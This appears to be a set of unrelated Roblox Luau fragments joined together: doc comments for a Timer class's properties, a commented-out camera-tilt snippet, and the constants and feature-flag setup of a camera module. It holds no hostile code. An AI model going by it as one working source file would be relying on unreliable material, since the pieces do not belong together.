--[=[ @within Timer @prop Interval number Interval at which the `Tick` event fires. ]=] --[=[ @within Timer @prop UpdateSignal RBXScriptSignal | Signal The signal which updates the timer internally. ]=] --[=[ @within Timer @prop TimeFunction () -> number The function which gets the current time. ]=] --[=[ @within Timer @prop AllowDrift boolean Flag which indicates if the timer is allowed to drift. This is set to `true` by default. This flag must be set before calling `Start` or `StartNow`. This flag should only be set to `false` if it is necessary for drift to be eliminated. ]=] --[=[ @within Timer @prop Tick RBXScriptSignal | Signal The event which is fired every time the timer hits its interval. ]=]
--game:GetService('RunService').RenderStepped:Connect(function() -- Camera.CFrame = Part.CFrame * CFrame.Angles( -- math.rad( (((Mouse.Y - Mouse.ViewSizeY) /2) / Mouse.ViewSizeY)) * maxtilt, -- math.rad( (((Mouse.X - Mouse.ViewSizeX) /2) / Mouse.ViewSizeX)) * maxtilt, -- 0 -- ) --end)
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about -- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
local MIN_Y = math.rad(-80) local MAX_Y = math.rad(80) local TOUCH_ADJUST_AREA_UP = math.rad(30) local TOUCH_ADJUST_AREA_DOWN = math.rad(-15) local TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1 local TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5 local VR_ANGLE = math.rad(15) local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0) local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0) local VR_LOW_INTENSITY_REPEAT = 0.1 local VR_HIGH_INTENSITY_REPEAT = 0.4 local ZERO_VECTOR2 = Vector2.new(0,0) local ZERO_VECTOR3 = Vector3.new(0,0,0) local touchSensitivityFlagExists, touchSensitivityFlagEnabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserTouchSensitivityAdjust") end) local FFlagUserTouchSensitivityAdjust = touchSensitivityFlagExists and touchSensitivityFlagEnabled local TOUCH_SENSITIVTY = Vector2.new(0.0045 * math.pi, 0.003375 * math.pi) if FFlagUserTouchSensitivityAdjust then TOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi) end local MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi ) local SEAT_OFFSET = Vector3.new(0,5,0) local VR_SEAT_OFFSET = Vector3.new(0,4,0) local HEAD_OFFSET = Vector3.new(0,1.5,0) local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0) local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0) local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1) local GAMEPAD_ZOOM_STEP_1 = 0 local GAMEPAD_ZOOM_STEP_2 = 10 local GAMEPAD_ZOOM_STEP_3 = 20 local PAN_SENSITIVITY = 20 local ZOOM_SENSITIVITY_CURVATURE = 0.5 local abs = math.abs local sign = math.sign local thirdGamepadZoomStepFlagExists, thirdGamepadZoomStepFlagEnabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserThirdGamepadZoomStep") end) local FFlagUserThirdGamepadZoomStep = thirdGamepadZoomStepFlagExists and thirdGamepadZoomStepFlagEnabled local FFlagUserPointerActionsInPlayerScripts do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserPointerActionsInPlayerScripts") end) FFlagUserPointerActionsInPlayerScripts = success and result end local FFlagUserNoMoreKeyboardPan do local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNoMoreKeyboardPan") end) FFlagUserNoMoreKeyboardPan = success and result end local fixZoomIssuesFlagExists, fixZoomIssuesFlagEnabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFixZoomClampingIssues") end) local FFlagUserFixZoomClampingIssues = fixZoomIssuesFlagExists and fixZoomIssuesFlagEnabled local Util = require(script.Parent:WaitForChild("CameraUtils")) local ZoomController = require(script.Parent:WaitForChild("ZoomController"))